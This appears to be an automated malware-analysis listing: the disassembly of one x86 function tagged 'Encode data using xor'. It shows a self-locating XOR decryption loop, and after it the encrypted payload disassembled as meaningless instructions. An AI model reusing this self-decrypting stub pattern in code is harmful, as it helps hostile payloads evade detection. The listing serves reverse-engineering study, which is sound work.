Function at 0xee78a8
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0xe8bd83ad
push edx
out dx, eax
add byte [eax], al
jmp 0xee78b2
or byte [eax], al
or byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [eax - 0x18], ah
add byte [eax], al
add byte [eax], al
pushal
call 0xee78b8
pop ebp
sub ebp, 0x10
sub ebp, 0xae78a8
jmp 0xee78ce
mov eax, 0xae78a8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bd
mov edx, 0xc472a468
add eax, 0x68ba0000
movsb byte es:[edi], byte [esi]
jb 0xee78a9
xor byte [eax], dl
inc eax
dec ecx
jne 0xee78e5
jmp 0xee78f8
jecxz 0xee789f
jecxz 0xee78dd
push esp
push 0xa9e96868
nop
push 0xa56b6868
shr byte [esi + 0x68], 1
push 0x6840d268
push 0x6b8a9f68
mov al, byte [0x6864e9e3]
push 0xe5ad6b68
or al, 0x4c
xchg esp, eax
loope 0xee7990
dec esp
in eax, 0xc
dec esp
xchg esp, eax
loope 0xee7997
dec esp
add byte [edi - 0x75ff97b7], ch
and ah, 0x68
imul eax, dword [esp + ecx*2], 0x873a80d5
sub byte [ebp + 0x68], 0x68
push 0x68685c81
push 0x944c0ce5
push 0x5c816868
push 0xce56868
dec esp
xchg esp, eax
loope 0xee7992
dec esp
cmp al, 0x35
jecxz 0xee7940
pushal
push 0xfde36868
push 0xe5e36868
js 0xee79c9
push 0x6a81a968
pop ecx
push 0xffffffffffffffeb
stosb byte es:[edi], al
insb byte es:[edi], dx
and dword [edi - 0x13], esp
pushfd
xchg edi, eax
xchg edi, eax
xchg edi, eax
jecxz 0xee79b8
dec esp
in eax, 0xc
dec esp
insb byte es:[edi], dx
stosb byte es:[edi], al
push 0x6c4ce4e3
push 0xac006868
out 0x49, eax
push 0xe4808a00
push 0xe54c4469
or al, 0x4c
in eax, 0xc
dec esp
xchg esp, eax
loope 0xee79fa
dec esp
sub byte [ebp + 0x68], 0x68
push 0x686a5381
push 0x944c0ce5
loope 0xee79eb
dec esp
in eax, 4
dec esp
push 0x97641d97
sbb eax, 0x680e8060
push 0x60d5e368
aad 0x60
push 0xa15b6868
pop ebx
mov edx, 0x206d80eb
in al, dx
push 0xe0676868
and byte [eax + 0x68], ch
push 0x5174e30e
push 0x20e06768
push 0xe30e6868
je 0xee7a26
call 0xed55fa6d
jb 0xee7a44
push 0x8193e868
in al, dx
jns 0xee7a4d
push 0x93e90e68
xchg edi, eax
dec ebp
in al, dx
jge 0xee7a58
push 0xa4812968
xchg edi, eax
xchg edi, eax
xchg edi, eax
inc ecx
and al, 0x51
push ecx
imul ebp, ebx, 0x80eb6da9
insb byte es:[edi], dx
adc ebp, 0x41979797
cmp al, 0x51
push 0xffffffffffffffeb
test eax, 0x6c82eb6e
jmp 0xee7993
push 0x3e84e33d
aas
cmp eax, 0xe3641de3
adc eax, 0xe8da9460
loop 0xee7a9c
jecxz 0xee7a3d
pushal
xchg esp, eax
invalid
jmp 0x6956e3e1
imul ebp, dword [eax + 0x68], 0xe96fe068
scasd eax, dword es:[edi]
push 0xafe96fe0
imul ebp, dword [eax + 0x68], 0x686ad368
push 0x68
push 0x67ba6a68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xee7a08
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xee7a08
mov edx, 0x97b0eb67
jmp 0xee7a01
xchg edi, eax
xchg edi, eax
xchg edi, eax
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xee7a1b
mov edx, 0x6802eb67
push 0x6aa85b68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xee7a30
jmp 0xee7a66
push 0xba6aa85b
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xee7a30
push 0x7a2e7ee2
mov edx, 0x6942eb67
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xee7a43
jmp 0xee7abb
jnp 0xee7a33
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xee7a52
jnp 0xee7a42
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xee7a61
jnp 0xee7a51
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xee7a70
jnp 0xee7a60
in al, dx
outsb dx, byte [esi]
push 0xb7e36868
inc ebx
mov al, 0xe2
imul esp, eax, 0x6f
das
shr dword [edx + 0x68], cl
push 0x97188168
xchg edi, eax
xchg edi, eax
shr byte [ecx + 0x68], 1
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xee7a9d
jnp 0xee7a8d
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xee7aac
ljmp 0xab43:0x979797b6